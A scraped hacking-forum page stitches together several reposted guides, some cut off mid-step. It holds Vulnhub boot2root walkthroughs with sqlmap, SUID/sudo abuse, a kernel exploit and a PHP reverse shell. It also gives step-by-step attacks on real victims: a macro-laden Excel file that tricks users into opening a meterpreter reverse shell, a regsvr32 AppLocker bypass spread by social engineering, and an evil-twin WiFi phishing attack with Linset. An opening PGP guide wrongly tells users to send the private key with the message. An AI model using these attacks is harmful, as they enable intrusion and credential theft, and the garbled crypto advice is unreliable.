![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-FArT2S2opyg/V4-yB8fpxTI/AAAAAAAAM5I/j0w95aXwl2EFMgR2E3E-1vbqmF0zelayACLcB/s1600/5.png?w=687&ssl=1)
Hence, symmetric encryption.
For Asymmetric encryption, we can simply go to [To see content please register here] /, the following website will open
Click on generate PGP keys, after opening the website. A public and private key will be generated.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-C9kexiIZ0FU/V4-yCOc0JvI/AAAAAAAAM5Q/QNSzjAbCCCs3oJZpKkbZCoHagHQAEY8zACLcB/s1600/7.png?w=687&ssl=1)
Now, copy the public key and click on PGP encrypt message option, it will redirect to the following page
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ddIWhey2_8I/V4-yCYtRgzI/AAAAAAAAM5U/PJ1terubmd45iKEgFpM7fPbXcx11vVlXwCLcB/s1600/8.png?w=687&ssl=1)
Paste the public key in the first box and write your message in the second box. By clicking on Encrypt Message, you will get your message encrypted.
Now, copy this encrypted message to the desired person along with the private key which you generated in the first step. The same person can also visit this site and click on PGP decrypt message option to decrypt the message. After clicking on the said option, the following page will open:
He/She can copy the private key and encrypted message and paste it on the first and second box respectively.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-JxCbmEFrlNY/V4-yAsT05QI/AAAAAAAAM40/CPaSr8vldH8In-gKpdNSmqIsa_cC41sEQCLcB/s1600/11.png?w=687&ssl=1)
At last click on Decrypt message and your message will be decrypted.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-OeiMlv8Gn7g/V4-yA-XBiOI/AAAAAAAAM44/vRCdrMOTAIo6bLsUJIGwLC_mmwZGO1akwCLcB/s1600/12.png?w=687&ssl=1)
Hello friends! Today we are going to take another CTF challenge known as De-ICE: S1.120 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here [To see content please register here]
Penetrating Methodologies
- Network Scanning (Nmap, netdiscover)
- SQLMAP Scanning
- Extract databases and user credentials
- SSH access to the target with a specific user
- Exploiting target with SUID bit and SUDO binaries
- Get Root access and capture the flag.
Let’s Start!!!
Start off with finding the target using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-tlZ-mWn0DIE/W0sgugzMYNI/AAAAAAAAYJU/Q4ghT4CMy0w0H8RZa2aom7nlaY54LdygQCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.120 Now scan the target with nmap :
nmap -A 192.168.1.120
1
nmap -A 192.168.1.120
With the nmap scan, you can see the ports 80, 443, 3306,21, 22 are open. Let’s target the port 80 first.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-DLMjISVZYhc/W0sgvdcSD0I/AAAAAAAAYJo/wKHVa-Gt7icAbxwcgTQt8ng7QJeK9lMvACEwYBhgL/s1600/2.png?w=687&ssl=1)
Now we will browse the website with [To see content please register here] and a page will open as shown below in the image.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-iKDgBj-BKG0/W0sgvYdDsNI/AAAAAAAAYJk/CVRtWS9NM_QcmHnqhpycfmTSSyR2UwsHQCEwYBhgL/s1600/3.png?w=687&ssl=1)
Click on the Add Product option as shown in the above page [To see content please register here] which will redirect to [To see content please register here] the input in the fields as shown below and click on Submit.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-at4YcnXQglI/W0sgvqM3uEI/AAAAAAAAYJs/vRnREaBmH74t_f7mEnBzHpiJnjNEOvI9wCEwYBhgL/s1600/4.png?w=687&ssl=1)
Upon submission, the following page will display.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-wAs4-W66WPY/W0sgwRNmSDI/AAAAAAAAYJw/dBtxiqCCxx4cIl7a3YoqtrmNNfrZKeQbACEwYBhgL/s1600/5.png?w=687&ssl=1)
Now let’s try to look for SQL injection by trying with [To see content please register here] ’ and we will get an error, hence this URL is prone to SQL injection
Lets’ enumerate the databases with SQLMAP command to get more details
sqlmap -u [To see content please register here] --dbs --batch
1
sqlmap -u [To see content please register here] --dbs --batch
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-lazQR0trEGc/W0sgwQzlk3I/AAAAAAAAYJ0/yOlHGaSPukwvuZckflI_fh1uzLjDbRAoQCEwYBhgL/s1600/6.png?w=687&ssl=1)
Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available on the website.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Sjes5Rzdqxc/W0sgwh-f1iI/AAAAAAAAYJ4/n1-3XSxSjXo3J8xHRYKrk3vY67hXdhibwCEwYBhgL/s1600/7.png?w=687&ssl=1)
Extract the user information from the MySQL database, using SQLMAP following command:
sqlmap -u [To see content please register here] -D mysql --users --passwords --batch
1
sqlmap -u [To see content please register here] -D mysql --users --passwords --batch
In addition, SQLMAP will also automatically perform the password cracking of the users’ passwords
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-SK_QBH_z_Qo/W0sgw74I_PI/AAAAAAAAYJ8/9PR2CHvYkwYY1Yf6op5FY4lDH99wNMCmQCEwYBhgL/s1600/9.png?w=687&ssl=1)
After having found valid credentials the next thing to perform is to test them over SSH to see if we have access to the target server. I tried to login with most of the users to see if there’s any root user or has something interesting for us to investigate further and it seems that all users can login to the system.
After trying with many usernames, I did SSH using the username as ccoffee and ran the following command to enumerate all binaries having SUID permission.
ssh [email protected]
find / -perm –u=s –type f 2>/dev/null
1
2
ssh [email protected]
find / -perm –u=s –type f 2>/dev/null
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-EQZmHErzb5M/W0sgunGixgI/AAAAAAAAYJY/ucFVDyZsMd4YhLUnE7M60GKszyiMY3YYQCEwYBhgL/s1600/10.png?w=687&ssl=1)
As it can be seen from the screenshot that of all the users listed, the user ccoffee has SUID bit enabled for getlogs.sh command located at the path /home/ccoffee/scripts, which means we can execute any command within getlogs.sh command.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-t-1CZENOfdQ/W0sguglkaZI/AAAAAAAAYJc/Pca8-x4P5kYFT1en-IRTXAPBinjYOVBCwCEwYBhgL/s1600/11.png?w=687&ssl=1)
At this moment, let’s also check the contents of the sudo file
sudo –l
1
sudo –l
On performing sudo –l, we observed that there is no password (NOPASSWD) set for this user while executing the command /home/ccoffee/scripts/getlogs.sh (i.e he can also run as sudo, the same script for which SUID bit is also set)
Now let’s navigate to the path cd /home/coffee/scripts
cd /home/ccoffee/scripts/
1
cd /home/ccoffee/scripts/
Upon listing, we can confirm that getlogs.sh has SUID bit set.
ls -al
1
ls -al
Move the getlogs.sh to getlogs.sh.bak, and then create a new getlogs.sh file with the following code to spawn a shell.
mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" > getlogs.sh
chmod 777 getlogs.sh
1
2
3
mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" > getlogs.sh
chmod 777 getlogs.sh
Run the new getlogs.sh script with sudo as follows :
sudo /home/ccoffee/scripts/getlogs.sh
1
sudo /home/ccoffee/scripts/getlogs.sh
Once the script execution is finished, you will reach the root. And to confirm this type:
id
1
id
Hurrah! We have got the root access.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-elS46oY76yg/W0sgvKDHw4I/AAAAAAAAYJg/gyf5tGMlaKEcE6vfejUI-_6v1_QS-i_1ACEwYBhgL/s1600/12.png?w=687&ssl=1)
|
|
|
|
| [Guide] How to Hack Remote PC using Malicious MS Office Documents |
|
Posted by: NINZA - 04-24-2020, 01:09 PM - Forum: General Discussion
- No Replies
|
|
Veil-Evasion is a powerful tool to generate an executable payload that bypasses common antivirus solutions.
To install veil-evasion on your Kali Linux, type :
apt-get install veil-evasion
1
apt-get install veil-evasion
After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:
veil-evasion
1
veil-evasion
To see the options of payloads type list
We can see a menu of the available payloads to use. There are plenty of payloads to use.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-IKXALHwkfSs/V4eIzZcI0zI/AAAAAAAAM1U/BQEF52Lb2SU1lGgLbmS1goXl-du3BCt9gCLcB/s1600/2.png?w=687&ssl=1)
We will be using the payload id-24. We type the command:
use powershell/meterpreter/rev_tcp
1
use powershell/meterpreter/rev_tcp
After that set localhost(Your PC’s IP). In my case, it is 192.168.0.122. Hence:
set lhost 192.168.0.122
set lport 4444
1
2
set lhost 192.168.0.122
set lport 4444
And then generate the payload:
generate
1
generate
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-byojuPntOzg/V4eI3jcPO2I/AAAAAAAAM1c/EQFkMWAqDYIMKR2c51uR9pv4AG6YjLshACLcB/s1600/3.png?w=687&ssl=1)
Enter the name of the file. Let the name of the file to be generated be “demo“. Therefore;
demo
1
demo
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-4dMu4cfb02k/V4eI2Lo9bII/AAAAAAAAM1Y/3_7ecycRYWkjmUhJ-gtPhLBxQE98KLzmQCLcB/s1600/4.png?w=687&ssl=1)
Now, the Veil-Evasion tool has created a bat file in PowerShell code in the directory:
/var/lib/veil-evasion/output/source/demo.bat
1
/var/lib/veil-evasion/output/source/demo.bat
Now, open a new terminal and open veil-evasion again( using command ‘veil-evasion’) and then type:
use auxiliary/macro_converter
1
use auxiliary/macro_converter
macro_converter converts the bat file into a readable text file. Under this, type the following commands to generate a text file:
set POSH_BATCH /var/lib/veil-evasion/output/source/demo.bat
generate
1
2
set POSH_BATCH /var/lib/veil-evasion/output/source/demo.bat
generate
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-C9vj5UMWJ1c/V4eI9ALawYI/AAAAAAAAM1s/GKp8q7ls7VQLwKlp6T0P5CP-r7SzrxpBACLcB/s1600/5.png?w=687&ssl=1)
This generates a text file in /var/lib/veil-evasion/output directory.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-rEgWeBQ4QCk/V4eI5fPxegI/AAAAAAAAM1g/KjTLAmW8KEETdLpSl0FPJspfMWjDtXwPwCLcB/s1600/7.png?w=687&ssl=1)
Copy the code written in the generated text file.
Now open windows->New Microsoft Office Excel Worksheet->view(on the top bar)->macro
Enter the macro name->create
Then in the Macro editing area(or the workbook) copy paste the code present in “demo1.txt” to the workbook and save the macro.
Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).
Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.
Now, all you have to do is wait for the victim to open the Excel file and enable the Macros option.
Meanwhile, go to Kali Linux terminal and open Metasploit framework(>msfconsole) and type the following commands:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.122
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.122
set lport 4444
exploit
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts a .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
Exploit Targets
Windows 7/8/8.1/10
Requirement
Attacker: kali Linux
Victim PC: Windows 10
Open Kali terminal type msfconsole
use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit (regsvr32_applocker_bypass_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (regsvr32_applocker_bypass_server)>set lhost 192.168.0.124 (IP of Local Host)
msf exploit (regsvr32_applocker_bypass_server)>set srvhost 192.168.0.124
msf exploit (regsvr32_applocker_bypass_server)>set srvport 8080
msf exploit (regsvr32_applocker_bypass_server)>exploit
1
2
3
4
5
6
use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit (regsvr32_applocker_bypass_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (regsvr32_applocker_bypass_server)>set lhost 192.168.0.124 (IP of Local Host)
msf exploit (regsvr32_applocker_bypass_server)>set srvhost 192.168.0.124
msf exploit (regsvr32_applocker_bypass_server)>set srvport 8080
msf exploit (regsvr32_applocker_bypass_server)>exploit
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-X7VcsiHPea0/V4DIt32PecI/AAAAAAAAMz0/h3iLM6L2Y3Is9GSDY-YUhdo-ZRJInC-9wCLcB/s1600/2.png?w=687&ssl=1)
Now, we have to copy the regsvr32 code generated in victim’s run bar on PC using social engineering method.
As soon as we do that, we will get access to the victim’s PC.
Now type sessions –I to display sessions opened when the victim opens the link
Now the session has opened type sysinfo to get system information, then type shell to enter into Victims command prompt.
Today we are going to solve another CTF challenge “pWnOS-1.0” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate. You can download it from here [To see content please register here]
Vulnerabilities:- Arbitrary File Disclosure
- Privilege Escalation
- Weak Credentials
Penetrating Methodologies:- Network Scanning (Nmap)
- Exploiting web application (Metasploit)
- Extracting arbitrary file
- 1st Method
- SSH Brute-force
- Spawning TTY shell (Via SSH RSA key)
- Kernel Privilege Escalation
- 2nd Method
- Cracking password hashes (John the ripper)
- Spawning TTY shell (via SSH login)
- Kernel Privilege Escalation
Let’s Begin!!
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.105 is my target IP, you will get yours.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-GVDMSI8kmtM/W1iuu5yqlgI/AAAAAAAAYog/U55u0wnYZ7koWBWCg-0vHXFaH9nPaJ-dgCLcBGAs/s1600/1.png?w=687&ssl=1)
Further, let’s enumerate open and protocols information in the target’s network with help of nmap following command:
nmap –A 192.168.1.105
1
nmap –A 192.168.1.105
From its result, we found port 22 for SSH and 80, 1000 for HTTP are open. Moreover webmin – a web interface is running over port 1000.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-p9ewt0RaNo8/W1iuwFKvfXI/AAAAAAAAYow/hEC8Dve5Cw0GvDMegA6dnJwh6Z5C60JEwCEwYBhgL/s1600/2.png?w=687&ssl=1)
So I check related its exploit inside Metasploit and luckily found it can be exploited by nasty people to disclose potentially sensitive information. So with help of the following command, we execute this exploit to extract /etc/passwd file from inside the victim’s VM.
use auxiliary/admin/webmin/file_disclosure
msf auxiliary(file_disclosure) > set rhost 192.168.1.105
msf auxiliary(file_disclosure) > exploit
1
2
3
use auxiliary/admin/webmin/file_disclosure
msf auxiliary(file_disclosure) > set rhost 192.168.1.105
msf auxiliary(file_disclosure) > exploit
As you can observe we have fetched available username of the victim’s system.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-YBiUdDzAEqs/W1iuyF_171I/AAAAAAAAYpc/iH3fB6VIE68rulSB64T7wg-z9mcflMwJQCEwYBhgL/s1600/5.png?w=687&ssl=1)
msf auxiliary(file_disclosure) > set rpath /etc/shadow
msf auxiliary(file_disclosure) > exploit
1
2
msf auxiliary(file_disclosure) > set rpath /etc/shadow
msf auxiliary(file_disclosure) > exploit
As you can observe we have also fetched a shadow file of the victim’s system which holds password hashes.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-LOmVnyq0U6o/W1iuyIdj19I/AAAAAAAAYpg/xhGiazFPVI4KCzF79LKFnT5oYmtMj2slwCEwYBhgL/s1600/6.png?w=687&ssl=1)
msf auxiliary(file_disclosure) > set rpath /home/Obama/.ssh/authorized_keys
msf auxiliary(file_disclosure) > exploit
1
2
msf auxiliary(file_disclosure) > set rpath /home/Obama/.ssh/authorized_keys
msf auxiliary(file_disclosure) > exploit
As you can observe that we got SSH authorized key and we can also enumerate username from inside the password. Now to obtain RSA key of SSH we can apply brute-force attack valid combination of authorized key and RSA key.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-E_Q6kvCxmYY/W1iuycSQjAI/AAAAAAAAYpk/QUy6bOZ3wUYdxobu5kn13dNFrrupfst0QCEwYBhgL/s1600/8.png?w=687&ssl=1)
1st Method to Exploit
To do so we downloaded a tar file with help of the following command.
wget [To see content please register here]
1
wget [To see content please register here]
Then extract the tar file with help of the following command:
tar vxjf 5622.tar.bz2
1
tar vxjf 5622.tar.bz2
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-7isZzaz19wQ/W1iuvOsDgWI/AAAAAAAAYpk/k1CUNMQUXyMW-MIAMx5KDYOsv-UYnDDnwCEwYBhgL/s1600/17.png?w=687&ssl=1)
Move into extract folder and execute following for Grabbing a valid combination of a key.
cd rsa
grep -lr {authorized_key}
1
2
cd rsa
grep -lr {authorized_key}
Great, we successfully got rsa_key for the authorized key.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-7Od0aPtseNA/W1iuv48OW3I/AAAAAAAAYpc/5KDe3-hPj8gp_6q-JsIdbPTiCpfZI6pZwCEwYBhgL/s1600/19.png?w=687&ssl=1)
Let’s login into SSH using above enumerated credential
ssh -i 2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub [email protected]
1
ssh -i 2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub [email protected]
Yippeeee!! We logged in successfully, let’s find kernel details and then search its exploit.
uname -a
1
uname -a
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Y6PihTH4I8E/W1iuwZtqCKI/AAAAAAAAYpU/ZD9CaVr3APUAECK-dE9HKbOSskeBse57ACEwYBhgL/s1600/20.png?w=687&ssl=1)
So we found C-program file for exploit 5092 inside kali, let’s transfer it into Victim’s machine.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-XMqx23TJxW4/W1iuwbD2lDI/AAAAAAAAYpY/nWNH8UDkAoEuo_alFiGQps8C2dObLQDnACEwYBhgL/s1600/21.png?w=687&ssl=1)
Inside victim’s shell, we run following to download kernel exploit in his VM and compile it then Got root access on executing
cd /tmp
wget [To see content please register here]
gcc 5092.c -o shell
chmod 777 shell
./shell
1
2
3
4
5
cd /tmp
wget [To see content please register here]
gcc 5092.c -o shell
chmod 777 shell
./shell
Booommm! Here we have Root access.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0GVqm-jJQtM/W1iuxM--XoI/AAAAAAAAYpc/MjelQJrmD2YvEYrsRGUlj3Cf7y34KrOogCEwYBhgL/s1600/22.png?w=687&ssl=1)
2nd Method
As you have seen that with the help of Metasploit exploit we successfully fetched information of /etc/shadow file. So with the help of John, we can crack the hash password of shadow file.
john --wordlist=/usr/share/wordlists/rockyou.txt pass
1
john --wordlist=/usr/share/wordlists/rockyou.txt pass
So we got password h4ckm3 for VMware, let’s use it for SSH login.
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-j4Kxfpyt1e4/W1iuxYhCGqI/AAAAAAAAYpY/uJ1Pxzy8ap8PEN9R5VEQvvO1t8HkSgWVQCEwYBhgL/s1600/23.png?w=687&ssl=1)
ssh [email protected]
1
ssh [email protected]
Now repeat above step for root privilege escalation and after exploiting its kernel, you get the root as shown in the image.
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-1oU2z9vqzfc/W1iuxx9X50I/AAAAAAAAYpg/Aatr8eFyO3cXplTe5VVTOYghvEklmxigQCEwYBhgL/s1600/24.png?w=687&ssl=1)
Linset is a tool for Evil twin attack
How it works- Scan the networks.
- Select network.
- Capture handshake (can be used without handshake)
- We choose one of several web interfaces tailored for me (thanks to the collaboration of the users)
- Mounts one FakeAP imitating the original
- A DHCP server is created on FakeAP
- It creates a DNS server to redirect all requests to the Host
- The web server with the selected interface is launched
- The mechanism is launched to check the validity of the passwords that will be introduced
- It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password.
- The attack will stop after the correct password checking
First of all download Linset from github with command:
git clone [To see content please register here]
and then change the permissions of the linset script with command:
chmod +x linset
and then execute it with command:
./linset
After execution it will ask to choose the interface so select wlan0 for wireless extension which will put it into monitor mode.
Then it will ask to select the channel so enter 1 to select all the channels.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-2ixw-E2aGdI/V3z_mziGb7I/AAAAAAAAMzA/j5ua8KE4GUoturdc_8wARVlL22tJuR3mwCLcB/s1600/2.png?w=687&ssl=1)
Now the monitor mode will listen to all the available wifi connections , so wait till your target appears and then press ctrl^c.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-CkIRoXnxfOc/V3z_h3hGYBI/AAAAAAAAMy8/Ay4_oBhUXVI-KWAuea-e4D4Ob4T5NugJwCLcB/s1600/3.png?w=687&ssl=1)
Now it will list all the AP’s with their SSID ,id no. and signal strength , so enter the id of your target and hit Enter as in my case i have selected rajlab by entering 1.
Now select Hostapd by entering 1 which will help in creating Fake AP.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Vy2tYKyvjTc/V3z_oL28R7I/AAAAAAAAMzI/XWVsNTI63msZuwBdPe_2R5LJgqEtq6NAwCLcB/s1600/5.png?w=687&ssl=1)
Now hit Enter for using default path to save the capture file or you can give the custom path to save the capture file which will ask to select the method for cracking the handshake so select 1 for aircrack-ng.
Now select 1 to de-authenticate all the clients connected to the target AP to capture the handshake.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-MaoFD6wkZ20/V3z_wbOAXwI/AAAAAAAAMzU/RoiKVmK1GiAJg1wvbAbcr_dPJNKqZ-k6ACLcB/s1600/8.png?w=687&ssl=1)
Now when the handshake is captured you will see it on right top corner of the new window and then enter 1 on the menu window as we have captured the handshake.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-G9TgmghlMBU/V3z_w65DVEI/AAAAAAAAMzY/pC6K6iH885gDhx3XAgD1vr8OuUrq4-AdgCLcB/s1600/9.png?w=687&ssl=1)
Now select 1 for web interface which will be presented to the victim when he will connect to our fake AP.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Y727l_DhOUI/V3z_dQRz1vI/AAAAAAAAMyc/qTm4cTurbFc6_YSt5bCl8kXzd2yMRw7qQCLcB/s1600/10.png?w=687&ssl=1)
Now it will ask for language selection of the web interface so enter 1 for English.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Vnwbv96GHpo/V3z_dWllTQI/AAAAAAAAMyg/VzZ-SbFGkQwUBSGFuY-2biegx4DP-oh6ACLcB/s1600/11.png?w=687&ssl=1)
Now 4 terminal windows will be opened of which one will create the Fake AP , one will be regularly de-authenticating all the clients and one will show all the info of the AP.
Now as you can see there are 2 rajlab AP are present of which one is fake and open and the other is the original but the clients will not be able to connect to the original one due to our deauth attack so they will be forced to connect to our fake AP.
After connecting to the Fake AP it will redirect the victim browser to below given web-page which will require the victim to enter the original AP password as the attack will only stop when the victim will enter correct password.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-mZanJ2Izt5Q/V3z_frocX5I/AAAAAAAAMys/EweYnjoALlgqNBe-xGjWHwYxoENiQisqwCLcB/s1600/14.png?w=687&ssl=1)
After submitting the correct password , the attack will be stopped and a message will be generated that your connection will be restored .
As you can see in my case victim entered the correct password and we found the correct key as:
KEY FOUND! [ raj123987 ]
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-B_vwXrHvA3E/V3z_g8Sx_1I/AAAAAAAAMy4/UmYInPFBwQ8vjR08egqFi02Slf-GwCZnACLcB/s1600/16.png?w=687&ssl=1)
|
|
|
|
| [Guide] How to Hack the pWnOS: 2.0 (Boot 2 Root Challenge) |
|
Posted by: NINZA - 04-24-2020, 01:06 PM - Forum: General Discussion
- No Replies
|
|
Hello friends!! Today we are going to solve a fun CTF challenge named “pWnOS: 2.0” presented on Vulnhub for practicing Penetration Testing by [To see content please register here] . This virtual machine is having intermediate to the medium difficulty level.
Initial Configuration of Lab:
Configure your attacking platform to be within the 10.10.10.0/24 network range.
We set the VMWare’s Network Adapter to Host-Only but can set it to either NAT or Host-Only depending on your setup.
Goal: Get Root Shell.
Penetrating Methodologies
- Network Scanning (Nmap, netdiscover)
- Directory busting the server
- Getting Login Credentials (Metasploit)
- Upload PHP reverse shell
- Get Limited Shell
- Enumerate Root Credentials
- Get Root
Let’s Start!!!
Usually, we start by getting the IP Address of the Lab. In this case we already know the static IP address of the Lab, but still for the sake of doing it let’s do it.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-7acQx-hvQcU/W1i4Hl7RkjI/AAAAAAAAYps/K40V8H8ARS4aTck82Vdmnje7j-3-vBxYwCLcBGAs/s1600/1.png?w=687&ssl=1)
Now let’s move towards enumeration in context to identifying the running services and open ports of the victim’s machine by using the most popular tool Nmap.
nmap -A 10.10.10.100
1
nmap -A 10.10.10.100
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-C9FvKw2eoaA/W1i4IJnsVpI/AAAAAAAAYp4/NVFIwjyEe1cBaQ9z9F1OVf3wwRZZptpggCLcBGAs/s1600/2.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser. It seems a basic site with a login form and Register form.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EgwWyfVg_H4/W1i4In1kZlI/AAAAAAAAYqA/VRDQvtagyyMG-PjWRdQx1_PZgW9aytXuQCLcBGAs/s1600/3.png?w=687&ssl=1)
But I tried to follow another set of direction by running a Web Content Scanner (dirb) and found the blog directory.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-GAfwnpFavwo/W1i4I4Ls9pI/AAAAAAAAYqE/5O6T1Gvp56YCikSNKTVW3lSoXO6Wqy6RwCLcBGAs/s1600/4.png?w=687&ssl=1)
After finding the blog directory, I tried to open the blog directory in the browser, it gave another simple looking webpage when looked at the first glance seems not interesting but as we know that the authors of these labs usually like to hide in plain sight. So, I opened the source code of the Webpage.
And as I closely inspected the source code, I ran into the line shown in the screenshot, it is an important hint as it tells us that the Website runs on Simple PHP Blog and the Version 0.4.0.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-gRYO0Gs7NfY/W1i4JO7HjEI/AAAAAAAAYqI/g8TaBmBUvus5T6WeC2ONIzQq_t8qB-HuQCLcBGAs/s1600/5.png?w=687&ssl=1)
Simple PHP Blog is also known as ‘sphpblog’. So, I searched for any possible exploits for sphpblog in the Metasploit framework. I found a bunch of them. Among them, I thought to try out the exploit/unix/webapp/sphpblog_file_upload.
In Metasploit Shell I ran the following command to exploit:
use exploit/unix/webapp/sphpblog_file_upload
msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100
msf exploit(sphpblog_file_upload) > set uri /blog
msf exploit(sphpblog_file_upload) > exploit
1
2
3
4
use exploit/unix/webapp/sphpblog_file_upload
msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100
msf exploit(sphpblog_file_upload) > set uri /blog
msf exploit(sphpblog_file_upload) > exploit
This exploit failed to give us and any shell, but it gets creative and created a Login Credentials as shown in the Screenshot.
Let’s use these credentials to Login.
Username: WJx2Fp
Password: PiRpoM
1
2
Username: WJx2Fp
Password: PiRpoM
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3-SPeeUXZks/W1i4JDJEYfI/AAAAAAAAYqM/Nr0lWtTHTI0n0KBgzAiBIIfici84TAXeACLcBGAs/s1600/6.png?w=687&ssl=1)
(You will get a different set of Login Credentials as the Exploit generated them unique every time.)
Logging In gave us some additional options in the Menu. Among which the Upload Image Option took my attention.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-kZaoOPIPOb0/W1i4JtJzv1I/AAAAAAAAYqU/v9Jg2arUZKAh42bi574xIW7fyCmN8ZPeACLcBGAs/s1600/7.png?w=687&ssl=1)
Upload image option opens a simple Upload webpage. Let’s try to upload the php-reverse-shell.php which is inbuilt in Kali Linux from path: /user/share/webshells/php. Although uploading PHP files most probably will be not allowed.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-BXUqraF3GL4/W1i4JhcAXmI/AAAAAAAAYqQ/grL4Mo4dkrgSKo4CzNX7QQ1WAmIWcYXYwCLcBGAs/s1600/8.png?w=687&ssl=1)
Wow!! We successfully uploaded the php-reverse-shell directly. This is awesome.
So, I browsed to the location of the uploaded PHP file, which is 10.10.10.100/blog/images. (Found this location in the initial dirb scan)
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-42Jgu7HOllY/W1i4JhIzi4I/AAAAAAAAYqY/4O1DTUoqEaMZoCEM1N028aTDd2xwtvbLgCLcBGAs/s1600/9.png?w=687&ssl=1)
Now let’s open the file and start Netcat listen in a new terminal to get victim’s reverse connection.
nc -lvp 1234
1
nc -lvp 1234
